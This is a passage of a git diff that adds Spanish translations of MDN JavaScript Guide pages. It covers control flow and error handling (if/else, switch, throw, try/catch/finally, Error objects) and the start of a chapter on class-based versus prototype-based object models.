+   <td>{{jsxref("BigUint64Array")}}</td>
+   <td><code>0</code> a <code>2<sup>64</sup>-1</code></td>
+   <td>8</td>
+   <td>Entero de 64 bits sin signo</td>
+   <td><code>bigint</code></td>
+   <td><code>uint64_t (long long sin signo)</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Para obtener más información, consulta <a href="/es/docs/Web/JavaScript/Typed_arrays">Arreglos tipados en JavaScript</a> y la documentación de referencia para los diferentes objetos {{jsxref("TypedArray")}}.</p>
+
+<p>{{PreviousNext("Web/JavaScript/Guide/Regular_Expressions", "Web/JavaScript/Guide/Keyed_Collections")}}</p>
diff --git a/files/es/web/javascript/guide/control_de_flujo_y_manejo_de_errores/index.html b/files/es/web/javascript/guide/control_de_flujo_y_manejo_de_errores/index.html
new file mode 100644
index 0000000000..d685818029
--- /dev/null
+++ b/files/es/web/javascript/guide/control_de_flujo_y_manejo_de_errores/index.html
@@ -0,0 +1,456 @@
+---
+title: Control de flujo y manejo de errores
+slug: Web/JavaScript/Guide/Control_de_flujo_y_manejo_de_errores
+tags:
+  - Control de flujo
+  - Guía
+  - JavaScript
+  - Lógica
+  - Manejo de errores
+  - Novato
+  - Principiantes
+  - Promesas
+  - declaraciones
+  - 'l10n:priority'
+translation_of: Web/JavaScript/Guide/Control_flow_and_error_handling
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Grammar_and_types", "Web/JavaScript/Guide/Loops_and_iteration")}}</div>
+
+<p class="seoSummary">JavaScript admite un compacto conjunto de declaraciones, específicamente declaraciones de control de flujo, que puedes utilizar para incorporar una gran cantidad de interactividad en tu aplicación. Este capítulo proporciona una descripción de estas declaraciones.</p>
+
+<p>La {{JSxRef("Sentencias", "referencia de JavaScript")}} contiene detalles exhaustivos sobre las declaraciones de este capítulo. El carácter de punto y coma (<code>;</code>) se utiliza para separar declaraciones en código JavaScript.</p>
+
+<p>Todas las expresiones e instrucciones de JavaScript también son una declaración. Consulta {{JSxRef("../Guide/Expressions_and_Operators", "Expresiones y operadores")}} para obtener información completa sobre las expresiones.</p>
+
+<h2 id="Declaración_de_bloque">Declaración de bloque</h2>
+
+<p>La declaración más básica es una <dfn>declaración de bloque</dfn>, que se utiliza para agrupar instrucciones. El bloque está delimitado por un par de llaves:</p>
+
+<pre class="syntaxbox notranslate">{
+  <var>statement_1</var>;
+  <var>statement_2</var>;
+  ⋮
+  <var>statement_n</var>;
+}
+</pre>
+
+<h3 id="Ejemplo"><strong>Ejemplo</strong></h3>
+
+<p>Las declaraciones de bloque se utilizan comúnmente con declaraciones de control de flujo (<code>if</code>, <code>for</code>, <code>while</code>).</p>
+
+<pre class="brush: js notranslate">while (x &lt; 10) {
+  x++;
+}
+</pre>
+
+<p>Aquí, <code>{ x++; }</code> es la declaración de bloque.</p>
+
+<div class="blockIndicator note">
+<p><strong>Importante</strong>: JavaScript anterior a ECMAScript2015 (6<sup>a</sup> edición) <strong>no</strong> tiene ámbito de bloque. En JavaScript más antiguo, las variables introducidas dentro de un bloque tienen como ámbito la función o script que las contiene, y los efectos de establecerlas persisten más allá del bloque en sí mismo. En otras palabras, las <em>declaraciones de bloque no definen un ámbito</em>.</p>
+
+<p>Los bloques "independientes" en JavaScript pueden producir resultados completamente diferentes de los que producirían en C o Java. Por ejemplo:</p>
+
+<pre class="brush: js notranslate">var x = 1;
+{
+  var x = 2;
+}
+console.log(x); // muestra 2
+</pre>
+
+<p>Esto muestra <code>2</code> porque la instrucción <code>var x</code> dentro del bloque está en el mismo ámbito que la instrucción <code>var x</code> anterior del bloque. (En C o Java, el código equivalente habría generado <code>1</code>).</p>
+
+<p><strong>A partir de ECMAScript2015</strong>, las declaraciones de variables <code>let</code> y <code>const</code> tienen un ámbito de bloque. Consulta las páginas de referencia de {{JSxRef("Sentencias/let", "let")}} y {{JSxRef("Sentencias/const", "const")}} para obtener más información.</p>
+</div>
+
+<h2 id="Expresiones_condicionales">Expresiones condicionales</h2>
+
+<p>Una expresión condicional es un conjunto de instrucciones que se ejecutarán si una condición especificada es verdadera. JavaScript admite dos expresiones condicionales: <code>if...else</code> y <code>switch</code>.</p>
+
+<h3 id="Expresión_if...else">Expresión <code>if...else</code></h3>
+
+<p>Utiliza la expresión <code>if</code> para ejecutar una instrucción si una condición lógica es <code>true</code>. Utiliza la cláusula opcional <code>else</code> para ejecutar una instrucción si la condición es <code>false</code>.</p>
+
+<p>Una declaración <code>if</code> se ve así:</p>
+
+<pre class="syntaxbox notranslate">if (<var>condition</var>) {
+  <var>statement_1</var>;
+} else {
+  <var>statement_2</var>;
+}</pre>
+
+<p>Aquí, la <code><var>condition</var></code> puede ser cualquier expresión que se evalúe como <code>true</code> o <code>false</code>. (Consulta {{JSxRef("Objetos_globales/Boolean", "Boolean", "#Description")}} para obtener una explicación de lo que se evalúa como <code>true</code> y <code>false</code>).</p>
+
+<p>Si <code><var>condition</var></code> se evalúa como <code>true</code>, se ejecuta <code><var>statement_1</var></code>. De lo contrario, se ejecuta <code><var>statement_2</var></code>. <code><var>statement_1</var></code> y <code><var>statement_2</var></code> pueden ser cualquier declaración, incluidas otras declaraciones <code>if</code> anidadas.</p>
+
+<p>También puedes componer las declaraciones usando <code>else if</code> para que se prueben varias condiciones en secuencia, de la siguiente manera:</p>
+
+<pre class="syntaxbox notranslate">if (<var>condition_1</var>) {
+  <var>statement_1</var>;
+} else if (<var>condition_2</var>) {
+  <var>statement_2</var>;
+} else if (<var>condition_n</var>) {
+  <var>statement_n</var>;
+} else {
+  <var>statement_last</var>;
+}
+</pre>
+
+<p>En el caso de múltiples condiciones, solo se ejecutará la primera condición lógica que se evalúe como <code>true</code>. Para ejecutar múltiples declaraciones, agrúpalas dentro de una declaración de bloque (<code>{ … }</code>).</p>
+
+<h4 id="Mejores_prácticas">Mejores prácticas</h4>
+
+<p>En general, es una buena práctica usar siempre declaraciones de bloque, <em>especialmente</em> al anidar declaraciones <code>if</code>:</p>
+
+<pre class="syntaxbox notranslate">if (<var>condition</var>) {
+  <var>statement_1_runs_if_condition_is_true</var>;
+  <var>statement_2_runs_if_condition_is_true</var>;
+} else {
+  <var>statement_3_runs_if_condition_is_false</var>;
+  <var>statement_4_runs_if_condition_is_false</var>;
+}
+</pre>
+
+<p>No es aconsejable utilizar asignaciones simples en una expresión condicional, porque la asignación se puede confundir con la igualdad al mirar el código.</p>
+
+<p>Por ejemplo, <em>no</em> escribas un código como este:</p>
+
+<pre class="example-bad brush: js notranslate">// Propenso a ser mal interpretado como "x == y"
+if (x = y) {
+  /* expresiones aquí */
+}
+</pre>
+
+<p>Si necesitas usar una tarea en una expresión condicional, una práctica común es poner paréntesis adicionales alrededor de la asignación, así:</p>
+
+<pre class="example-good brush: js notranslate">if ((x = y)) {
+  /* expresiones aquí */
+}
+</pre>
+
+<h4 id="Valores_falsos">Valores falsos</h4>
+
+<p>Los siguientes valores se evalúan como <code>false</code> (también conocidos como valores {{Glossary("Falsy")}}:</p>
+
+<ul>
+ <li><code>false</code></li>
+ <li><code>undefined</code></li>
+ <li><code>null</code></li>
+ <li><code>0</code></li>
+ <li><code>NaN</code></li>
+ <li>la cadena vacía (<code>""</code>)</li>
+</ul>
+
+<p>Todos los demás valores, incluidos todos los objetos, se evalúan como <code>true</code> cuando se pasan a una declaración condicional.</p>
+
+<div class="blockIndicator note">
+<p><strong>Precaución</strong>: ¡No confundas los valores booleanos primitivos <code>true</code> y <code>false</code> con los valores <code>true</code> y <code>false</code> del objeto {{JSxRef("Boolean")}}!.</p>
+
+<p>Por ejemplo:</p>
+
+<pre class="brush: js notranslate">var b = new Boolean(false);
+if (b)         // esta condición se evalúa como verdadera
+if (b == true) // esta condición se evalúa como false
+</pre>
+</div>
+
+<h4 id="Ejemplo_2"><strong>Ejemplo</strong></h4>
+
+<p>En el siguiente ejemplo, la función <code>checkData</code> devuelve <code>true</code> si el número de caracteres en un objeto <code>Text</code> es tres. De lo contrario, muestra una alerta y devuelve <code>false</code>.</p>
+
+<pre class="brush: js notranslate">function checkData() {
+  if (document.form1.threeChar.value.length == 3) {
+    return true;
+  } else {
+    alert(
+        'Introduce exactamente tres caracteres. ' +
+        `${document.form1.threeChar.value} no es válido.`);
+    return false;
+  }
+}
+</pre>
+
+<h3 id="Declaración_switch">Declaración <code>switch</code></h3>
+
+<p>Una instrucción <code>switch</code> permite que un programa evalúe una expresión e intente hacer coincidir el valor de la expresión con una etiqueta <code>case</code>. Si la encuentra, el programa ejecuta la declaración asociada.</p>
+
+<p>Una instrucción <code>switch</code> se ve así:</p>
+
+<pre class="syntaxbox notranslate">switch (<var>expression</var>) {
+  case <var>label_1</var>:
+    <var>statements_1</var>
+    [break;]
+  case <var>label_2</var>:
+    <var>statements_2</var>
+    [break;]
+    …
+  default:
+    <var>statements_def</var>
+    [break;]
+}
+</pre>
+
+<p>JavaScript evalúa la instrucción <code>switch</code> anterior de la siguiente manera:</p>
+
+<ul>
+ <li>El programa primero busca una cláusula <code>case</code> con una etiqueta que coincida con el valor de expresión y luego transfiere el control a esa cláusula, ejecutando las declaraciones asociadas.</li>
+ <li>Si no se encuentra una etiqueta coincidente, el programa busca la cláusula opcional <code>default</code>:
+  <ul>
+   <li>Si se encuentra una cláusula <code>default</code>, el programa transfiere el control a esa cláusula, ejecutando las declaraciones asociadas.</li>
+   <li>Si no se encuentra una cláusula <code>default</code>, el programa reanuda la ejecución en la declaración que sigue al final de <code>switch</code>.</li>
+   <li>(Por convención, la cláusula <code>default</code> está escrita como la última cláusula, pero no es necesario que sea así).</li>
+  </ul>
+ </li>
+</ul>
+
+<h4 id="Declaraciones_break">Declaraciones <code>break</code></h4>
+
+<p>La declaración opcional <code>break</code> asociada con cada cláusula <code>case</code> asegura que el programa salga de <code>switch</code> una vez que se ejecuta la instrucción coincidente, y luego continúa la ejecución en la declaración que sigue a <code>switch</code>. Si se omite <code>break</code>, el programa continúa la ejecución dentro de la instrucción <code>switch</code> (y evaluará el siguiente <code>case</code>, y así sucesivamente).</p>
+
+<h5 id="Ejemplo_3"><strong>Ejemplo</strong></h5>
+
+<p>En el siguiente ejemplo, si <code><var>fruittype</var></code> se evalúa como '<code>Bananas</code>', el programa hace coincidir el valor con el caso '<code>Bananas</code>' y ejecuta la declaración asociada. Cuando se encuentra <code>break</code>, el programa sale del <code>switch</code> y continúa la ejecución de la instrucción que sigue a <code>switch</code>. Si se omitiera <code>break</code>, también se ejecutará la instrucción para <code>case 'Cherries'</code>.</p>
+
+<pre class="brush: js notranslate">switch (<var>fruittype</var>) {
+  case 'Oranges':
+    console.log('Las naranjas cuestan $0.59 la libra.');
+    break;
+  case 'Apples':
+    console.log('Las manzanas cuestan $0.32 la libra.');
+    break;
+  case 'Bananas':
+    console.log('Los plátanos cuestan $0.48 la libra.');
+    break;
+  case 'Cherries':
+    console.log('Las cerezas cuestan $3.00 la libra.');
+    break;
+  case 'Mangoes':
+    console.log('Los mangos cuestan $0.56 la libra.');
+    break;
+  case 'Papayas':
+    console.log('Los mangos y las papayas cuestan $2.79 la libra.');
+    break;
+  default:
+   console.log(`Lo sentimos, no tenemos ${fruittype}.`);
+}
+console.log("¿Hay algo más que quieras?");</pre>
+
+<h2 id="Expresiones_de_manejo_de_excepciones">Expresiones de manejo de excepciones</h2>
+
+<p>Puedes lanzar excepciones usando la instrucción <code>throw</code> y manejarlas usando las declaraciones <code>try...catch</code>.</p>
+
+<ul>
+ <li>{{anch("Expresion_throw", "Expresión throw")}}</li>
+ <li>{{anch("Declaracion_try...catch", "Declaración try...catch")}}</li>
+</ul>
+
+<h3 id="Tipos_de_excepciones">Tipos de excepciones</h3>
+
+<p>Casi cualquier objeto se puede lanzar en JavaScript. Sin embargo, no todos los objetos lanzados son iguales. Si bien es común lanzar números o cadenas como errores, con frecuencia es más efectivo usar uno de los tipos de excepción creados específicamente para este propósito:</p>
+
+<ul>
+ <li>{{JSxRef("Objetos_globales/Error", "excepciones ECMAScript", "#Tipos_Error")}}</li>
+ <li>La interfaz {{web.link("/es/docs/Web/API/DOMException", "DOMException")}} representa un evento anormal (llamado excepción) que ocurre como resultado de llamar a un método o acceder a una propiedad de una API web y la interfaz {{web.link("/es/docs/Web/API/DOMError", "DOMError ")}} describe un objeto de error que contiene un nombre de error.</li>
+</ul>
+
+<h3 id="Expresión_throw">Expresión <code>throw</code></h3>
+
+<p>Utiliza la expresión <code>throw</code> para lanzar una excepción. Una expresión <code>throw</code> especifica el valor que se lanzará:</p>
+
+<pre class="syntaxbox notranslate">throw <var>expression</var>;
+</pre>
+
+<p>Puedes lanzar cualquier expresión, no solo expresiones de un tipo específico. El siguiente código arroja varias excepciones de distintos tipos:</p>
+
+<pre class="brush: js notranslate">throw 'Error2';   // tipo String
+throw 42;         // tipo Number
+throw true;       // tipo Boolean
+throw {toString: function() { return "¡Soy un objeto!"; } };
+</pre>
+
+<div class="note">
+<p><strong>Nota</strong> Puedes especificar un objeto cuando lanzas una excepción. A continuación, puedes hacer referencia a las propiedades del objeto en el bloque <code>catch</code>.</p>
+</div>
+
+<pre class="brush: js notranslate">// Crea un objeto tipo de UserException
+function UserException(message) {
+  this.message = message;
+  this.name = 'UserException';
+}
+
+// Hacer que la excepción se convierta en una bonita cadena cuando se usa como cadena
+// (por ejemplo, por la consola de errores)
+UserException.prototype.toString = function() {
+  return `${this.name}: "${this.message}"`;
+}
+
+// Crea una instancia del tipo de objeto y tírala
+throw new UserException('Valor muy alto');</pre>
+
+<h3 id="Declaración_try...catch">Declaración <code>try...catch</code></h3>
+
+<p>La declaración <code>try...catch</code> marca un bloque de expresiones para probar y especifica una o más respuestas en caso de que se produzca una excepción. Si se lanza una excepción, la declaración <code>try...catch</code> la detecta.</p>
+
+<p>La declaración <code>try...catch</code> consta de un bloque <code>try</code>, que contiene una o más declaraciones, y un bloque <code>catch</code>, que contiene declaraciones que especifican qué hacer si se lanza una excepción en el bloque <code>try</code>.</p>
+
+<p>En otras palabras, deseas que el bloque <code>try</code> tenga éxito, pero si no es así, deseas que el control pase al bloque <code>catch</code>. Si alguna instrucción dentro del bloque <code>try</code> (o en una función llamada desde dentro del bloque <code>try</code>) arroja una excepción, el control <em>inmediatamente</em> cambia al bloque <code>catch</code>. Si no se lanza ninguna excepción en el bloque <code>try</code>, se omite el bloque <code>catch</code>. El bloque <code>finalmente</code> se ejecuta después de que se ejecutan los bloques <code>try</code> y <code>catch</code>, pero antes de las declaraciones que siguen a la declaración <code>try...catch</code>.</p>
+
+<p>El siguiente ejemplo usa una instrucción <code>try...catch</code>. El ejemplo llama a una función que recupera el nombre de un mes de un arreglo en función del valor pasado a la función. Si el valor no corresponde a un número de mes (<code>1</code>-<code>12</code>), se lanza una excepción con el valor "<code>InvalidMonthNo</code>" y las declaraciones en el bloque <code>catch</code> establezca la variable <code><var>monthName</var></code> en '<code>unknown</code>'.</p>
+
+<pre class="brush: js notranslate">function getMonthName(mo) {
+  mo = mo - 1; // Ajusta el número de mes para el índice del arreglo (1 = Ene, 12 = Dic)
+  let months = ['Ene', 'Feb', 'Mar', 'Abr', 'May', 'Jun', 'Jul',
+                'Ago', 'Sep', 'Oct', 'Nov', 'Dic'];
+  if (months[mo]) {
+    return months[mo];
+  } else {
+    throw 'InvalidMonthNo'; // aquí se usa la palabra clave throw
+  }
+}
+
+try { // declaraciones para try
+  monthName = getMonthName(myMonth); // la función podría lanzar una excepción
+}
+catch (e) {
+  monthName = 'unknown';
+  logMyErrors(e); // pasar el objeto exception al controlador de errores (es decir, su propia función)
+}
+</pre>
+
+<h4 id="El_bloque_catch">El bloque <code>catch</code></h4>
+
+<p>Puedes usar un bloque <code>catch</code> para manejar todas las excepciones que se puedan generar en el bloque <code>try</code>.</p>
+
+<pre class="syntaxbox notranslate">catch (<var>catchID</var>) {
+  <var>instrucciones</var>
+}
+</pre>
+
+<p>El bloque <code>catch</code> especifica un identificador (<code><var>catchID</var></code> en la sintaxis anterior) que contiene el valor especificado por la expresión <code>throw</code>. Puedes usar este identificador para obtener información sobre la excepción que se lanzó.</p>
+
+<p>JavaScript crea este identificador cuando se ingresa al bloque <code>catch</code>. El identificador dura solo la duración del bloque <code>catch</code>. Una vez que el bloque <code>catch</code> termina de ejecutarse, el identificador ya no existe.</p>
+
+<p>Por ejemplo, el siguiente código lanza una excepción. Cuando ocurre la excepción, el control se transfiere al bloque <code>catch</code>.</p>
+
+<pre class="brush: js notranslate">try {
+  throw 'myException'; // genera una excepción
+}
+catch (err) {
+  // declaraciones para manejar cualquier excepción
+  logMyErrors(err);    // pasa el objeto exception al controlador de errores
+}
+</pre>
+
+<div class="blockIndicator note">
+<p><strong>Mejores prácticas:</strong> Cuando se registran errores en la consola dentro de un bloque <code>catch</code>, se usa <code>console.error()</code> en lugar de <code>console.log()</code> aconsejado para la depuración. Formatea el mensaje como un error y lo agrega a la lista de mensajes de error generados por la página.</p>
+</div>
+
+<h4 id="El_bloque_finally">El bloque <code>finally</code></h4>
+
+<p>El bloque <code>finally</code> contiene instrucciones que se ejecutarán <em>después</em> que se ejecuten los bloques <code>try</code> y <code>catch</code>. Además, el bloque <code>finally</code> ejecuta <em>antes</em> el código que sigue a la declaración <code>try...catch...finally</code>.</p>
+
+<p>También es importante notar que el bloque <code>finally</code> se ejecutará <em>independientemente de que</em> se produzca una excepción. Sin embargo, si se lanza una excepción, las declaraciones en el bloque <code>finally</code> se ejecutan incluso si ningún bloque <code>catch</code> maneje la excepción que se lanzó.</p>
+
+<p>Puedes usar el bloque <code>finally</code> para hacer que tu script falle correctamente cuando ocurra una excepción. Por ejemplo, es posible que debas liberar un recurso que tu script haya inmovilizado.</p>
+
+<p>El siguiente ejemplo abre un archivo y luego ejecuta declaraciones que usan el archivo. (JavaScript de lado del servidor te permite acceder a los archivos). Si se lanza una excepción mientras el archivo está abierto, el bloque <code>finally</code> cierra el archivo antes de que falle el script. Usar <code>finally</code> aquí <em>asegura</em> que el archivo nunca se deje abierto, incluso si ocurre un error.</p>
+
+<pre class="brush: js notranslate">openMyFile();
+try {
+  writeMyFile(theData); // Esto puede arrojar un error
+} catch(e) {
+  handleError(e); // Si ocurrió un error, manéjalo
+} finally {
+  closeMyFile(); // Siempre cierra el recurso
+}
+</pre>
+
+<p>Si el bloque <code>finally</code> devuelve un valor, este valor se convierte en el valor de retorno de toda la producción de <code>try…catch…finally</code>, independientemente de las declaraciones <code>return</code> en los bloques <code>try</code> y <code>catch</code>:</p>
+
+<pre class="brush: js notranslate">function f() {
+  try {
+    console.log(0);
+    throw 'bogus';
+  } catch(e) {
+    console.log(1);
+    return true;    // esta declaración de retorno está suspendida
+                    // hasta que el bloque finally se haya completado
+    console.log(2); // no alcanzable
+  } finally {
+    console.log(3);
+    return false;   // sobrescribe el "return" anterior
+    console.log(4); // no alcanzable
+  }
+  // "return false" se ejecuta ahora
+  console.log(5);   // inalcanzable
+}
+console.log(f()); // 0, 1, 3, false
+</pre>
+
+<p>La sobrescritura de los valores devueltos por el bloque <code>finally</code> también se aplica a las excepciones lanzadas o relanzadas dentro del bloque <code>catch</code>:</p>
+
+<pre class="brush: js notranslate">function f() {
+  try {
+    throw 'bogus';
+  } catch(e) {
+    console.log('captura "falso" interno');
+    throw e; // esta instrucción throw se suspende hasta
+             // que el bloque finally se haya completado
+  } finally {
+    return false; // sobrescribe el "throw" anterior
+  }
+  // "return false" se ejecuta ahora
+}
+
+try {
+  console.log(f());
+} catch(e) {
+  // ¡esto nunca se alcanza!
+  // mientras se ejecuta f(), el bloque `finally` devuelve false,
+  // que sobrescribe el `throw` dentro del `catch` anterior
+  console.log('"falso" externo capturado');
+}
+
+// Produce
+// "falso" interno capturado
+// false</pre>
+
+<h4 id="Declaraciones_try...catch_anidadas">Declaraciones <code>try...catch</code> anidadas</h4>
+
+<p>Puedes anidar una o más declaraciones <code>try...catch</code>.</p>
+
+<p>Si un bloque <code>try</code> interno <em>no</em> tiene un bloque <code>catch</code> correspondiente:</p>
+
+<ol>
+ <li><em>debe</em> contener un bloque <code>finally</code>, y</li>
+ <li>el bloque <code>catch</code> adjunto de la declaración <code>try...catch</code> se comprueba para una coincidencia.</li>
+</ol>
+
+<p>Para obtener más información, consulta {{JSxRef("Sentencias/try...catch", "bloques try anidados", "#Nested_try-blocks")}} en la una página de referencia {{JSxRef("Sentencias/try...catch", "try...catch")}}.</p>
+
+<h3 id="Utilizar_objetos_Error">Utilizar objetos <code>Error</code></h3>
+
+<p>Dependiendo del tipo de error, es posible que puedas utilizar las propiedades <code>name</code> y <code>message</code> para obtener un mensaje más refinado.</p>
+
+<p>La propiedad <code>name</code> proporciona la clase general de <code>Error</code> (tal como <code>DOMException</code> o <code>Error</code>), mientras que <code>message</code> generalmente proporciona un mensaje más conciso que el que se obtendría al convertir el objeto error en una cadena.</p>
+
+<p>Si estás lanzando tus propias excepciones, para aprovechar estas propiedades (por ejemplo, si tu bloque <code>catch</code> no discrimina entre tus propias excepciones y las del sistema), puedes usar el constructor <code>Error</code>.</p>
+
+<p>Por ejemplo:</p>
+
+<pre class="brush: js notranslate">function doSomethingErrorProne() {
+  if (ourCodeMakesAMistake()) {
+    throw (new Error('El mensaje'));
+  } else {
+    doSomethingToGetAJavascriptError();
+  }
+}
+⋮
+try {
+  doSomethingErrorProne();
+} catch (e) {               // AHORA, en realidad usamos `console.error()`
+  console.error(e.name);    // registra 'Error'
+  console.error(e.message); // registra 'The message' o un mensaje de error de JavaScript
+}
+</pre>
+
+<div>{{PreviousNext("Web/JavaScript/Guide/Grammar_and_types", "Web/JavaScript/Guide/Loops_and_iteration")}}</div>
diff --git a/files/es/web/javascript/guide/details_of_the_object_model/index.html b/files/es/web/javascript/guide/details_of_the_object_model/index.html
new file mode 100644
index 0000000000..12b25fb5a9
--- /dev/null
+++ b/files/es/web/javascript/guide/details_of_the_object_model/index.html
@@ -0,0 +1,797 @@
+---
+title: Detalles del modelo de objetos
+slug: Web/JavaScript/Guide/Details_of_the_Object_Model
+tags:
+  - Guía
+  - Intermedio
+  - JavaScript
+  - Objeto
+  - 'l10n:priority'
+translation_of: Web/JavaScript/Guide/Details_of_the_Object_Model
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Working_with_Objects", "Web/JavaScript/Guide/Iterators_and_Generators")}}</div>
+
+<p class="summary">JavaScript es un lenguaje orientado a objetos basado en prototipos en lugar de clases. Debido a esta diferencia, puede ser menos evidente cómo JavaScript te permite crear jerarquías de objetos y herencia de propiedades y sus valores. Este capítulo intenta clarificar estos puntos.</p>
+
+<p>Este capítulo asume que tienes alguna familiaridad con JavaScript y que has usado funciones de JavaScript para crear objetos sencillos.</p>
+
+<h2 id="Lenguajes_basados_en_clases_vs._basados_en_prototipos">Lenguajes basados en clases vs. basados en prototipos</h2>
+
+<p>Los lenguajes orientados a objetos basados en clases, como Java y C++, se basan en el concepto de dos entidades distintas: clases e instancias.</p>
+
+<ul>
+ <li>Una <em>clase</em> define todas las propiedades (considerando como propiedades los métodos y campos de Java, o los miembros de C++) que caracterizan un determinado conjunto de objetos. Una clase es una entidad abstracta, más que cualquier miembro en particular del conjunto de objetos que describe. Por ejemplo, la clase <span style="font-size: 14px; line-height: 1.5em;"> </span><code style="font-size: 14px;">Empleado</code><span style="font-size: 14px; line-height: 1.5em;"> puede representar al conjunto de todos los empleados.</span></li>
+ <li>Una <em>instancia</em>, por otro lado, es la instanciación de una clase; es decir, uno de sus miembros. Por ejemplo, <code>Victoria</code> podría ser una instancia de la clase <code>Empleado</code>, representando a un individuo en particular como un empleado. Una instancia tiene exactamente las mismas propiedades de su clase padre (ni más, ni menos).</li>
+</ul>
+
+<p>Un lenguaje basado en prototipos, como JavaScript, no hace esta distinción: simplemente tiene objetos. Un lenguaje basado en prototipos toma el concepto de <em>objeto prototípico</em>, un objeto que se utiliza como una plantilla a partir de la cual se obtiene el conjunto inicial de propiedades de un nuevo objeto. Cualquier objeto puede especificar sus propias propiedades, ya sea cuando es creado o en tiempo de ejecución. Adicionalmente, cualquier objeto puede ser utilizado como el <em>prototipo</em> de otro objeto, permitiendo al segundo objeto compartir las propiedades del primero.</p>
+
+<h3 id="Definición_de_una_clase">Definición de una clase</h3>
+
+<p>En los lenguajes basados en clases defines una clase en una <em>definición de clase</em> separada. En esa definición puedes especificar métodos especiales, llamados <em>constructores</em>, para crear instancias de la clase. Un método constructor puede especificar valores iniciales para las propiedades de la instancia y realizar otro procesamiento de inicialización apropiado en el momento de la creación. Se utiliza el operador <code>new</code> junto al constructor para crear instancias de clases.</p>
+
+<p>JavaScript sigue un modelo similar, pero sin tener la definición de clase separada del constructor. En su lugar, se define una función constructor para crear objetos con un conjunto inicial de propiedades y valores. Cualquier función JavaScript puede utilizarse como constructor. Se utiliza el operador <code>new</code> con una función constructor para crear un nuevo objeto.</p>
+
+
+
+<div class="blockIndicator note">
+<p>Nota que ECMAScript 2015 introduce la <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes">declaración de clases</a>:</p>
+
+<blockquote>
+<p>Las Clases en JavaScript, introducidas en ECMAScript 2015, son básicamente un retoque sintáctico sobre la herencia basada en prototipos de JavaScript. La sintaxis <em>class</em> no introduce un nuevo modelo de herencia orientado a objetos en Javascript.</p>
+</blockquote>
+</div>
+
+
+
+<h3 id="Subclases_y_herencia">Subclases y herencia</h3>
+
+<p>En un lenguaje basado en clases, creas una jerarquía de clases a través de la definición de clases. En una definición de clase, puedes especificar que la nueva clase es una <em>subclase</em> de una clase existente. Esta subclase hereda todas las propiedades de la superclase y - además -puede añadir nuevas propiedades o modificar las heredadas. Por ejemplo, supongamos que la clase <code>Employee</code> tiene sólo las propiedades <code>name</code> y <code>dept</code>, y que <code>Manager</code> es una subclase de <code>Employee</code> que añade la propiedad <code>reports</code>. En este caso, una instancia de la clase <code>Manager</code> tendría las tres propiedades: <code>name</code>, <code>dept</code>, y <code>reports</code>.</p>
+
+<p>JavaScript implementa la herencia permitiendo asociar un objeto prototípico con cualquier función <em>constructor</em>. De esta forma puedes crear una relación entre <code>Employee</code> y <code>Manager</code>, pero usando una terminología diferente. En primer lugar, se define la función <em>constructor </em>para <code>Employee, </code>especificando las propiedades <code>name</code> y <code>dept</code>. Luego, se define la función <em>constructor</em> para <code>Manager</code>, especificando la propiedad  <code>reports</code>. Por último, se asigna un nuevo objeto derivado de <code>Employee.prototype</code> como el <code>prototype</code> para la función <em>constructor</em> de <code>Manager</code>. De esta forma, cuando se crea un nuevo <code>Manager</code>, este hereda las propiedades <code>name</code> y <code>dept</code> del objeto <code>Employee</code>.</p>
+
+<h3 id="Añadir_y_quitar_propiedades">Añadir y quitar propiedades</h3>
+
+<p>En lenguajes basados en clases típicamente se crea una clase en tiempo de compilación y luego se crean instancias de la clase, ya sea en tiempo de compilación o en tiempo de ejecución. No se puede cambiar el número o el tipo de propiedades de una clase una vez que ha sido definida. En JavaScript, sin embargo, en tiempo de ejecución se pueden añadir y quitar propiedades a un objeto. Si se añade una propiedad a un objeto que está siendo utilizado como el prototipo de otros objetos, los objetos para los que es un prototipo también tienen la nueva propiedad añadida.</p>
+
+<h3 id="Resumen_de_las_diferencias">Resumen de las diferencias</h3>
+
+<p>La siguiente tabla muestra  un pequeño resumen de algunas de estas diferencias. El resto de este capítulo describe los detalles del uso de los constructores JavaScript y los prototipos para crear una jerarquía de objetos, y compara esta forma de herencia no basada en clases con la basada en clases que utiliza Java.</p>
+
+<table class="fullwidth-table">
+ <caption>Tabla 8.1 Comparación de los sistemas de objetos basados en clases  (Java) y basados en prototipos (JavaScript)</caption>
+ <thead>
+  <tr>
+   <th scope="col"><strong>Categoría</strong></th>
+   <th scope="col"><strong>Basado en clases (Java)</strong></th>
+   <th scope="col"><strong>Basado en prototipos (JavaScript)</strong></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><strong>Clase vs. Instancia</strong></td>
+   <td>La clase y su instancia son entidades distintas.</td>
+   <td>Todos los objetos pueden heredar de otro objeto.</td>
+  </tr>
+  <tr>
+   <td><strong>Definición</strong></td>
+   <td>Define una clase con una definición <em>class</em>; se instancia una clase con métodos constructores.</td>
+   <td>Define y crea un conjunto de objetos con funciones constructoras.</td>
+  </tr>
+  <tr>
+   <td><strong>Creación de objeto</strong></td>
+   <td>Se crea un objeto con el operador <code>new</code>.</td>
+   <td>Se crea un objeto con el operador <code>new</code>.</td>
+  </tr>
+  <tr>
+   <td><strong>Construcción de jerarquía de objetos</strong></td>
+   <td>Se construye una jerarquía de objetos utilizando definiciones de clases para definir subclases de clases existentes.</td>
+   <td>
+    <p>Se construye una jerarquía de objetos mediante la asignación de un objeto como el prototipo asociado a una función constructora.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><strong>Herencia</strong></td>
+   <td>Se heredan propiedades siguiendo la cadena de clases.</td>
+   <td>Se heredan propiedades siguiendo la cadena de prototipos.</td>
+  </tr>
+  <tr>
+   <td><strong>Extensión de propiedades</strong></td>
+   <td>La definición de una clase especifica <em>todas</em> las propiedades de todas las instancias de esa clase. No se puede añadir propiedades dinámicamente en tiempo de ejecución.</td>
+   <td>
+    <p>El conjunto <em>inicial</em> de propiedades lo determina la función constructor o el prototipo. Se pueden añadir y quitar propiedades dinámicamente a objetos específicos o a un conjunto de objetos.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="El_ejemplo_employee">El ejemplo employee</h2>
+
+<p>El resto de este capitulo utiliza la jerarquía <code>employee</code> que se muestra en la siguiente figura.</p>
+
+<div class="twocolumns">
+
+
+
+
+
+
+
+
+<p><img alt="" class="internal" src="/@api/deki/files/4452/=figure8.1.png" style="height: 194px; width: 281px;"></p>
+
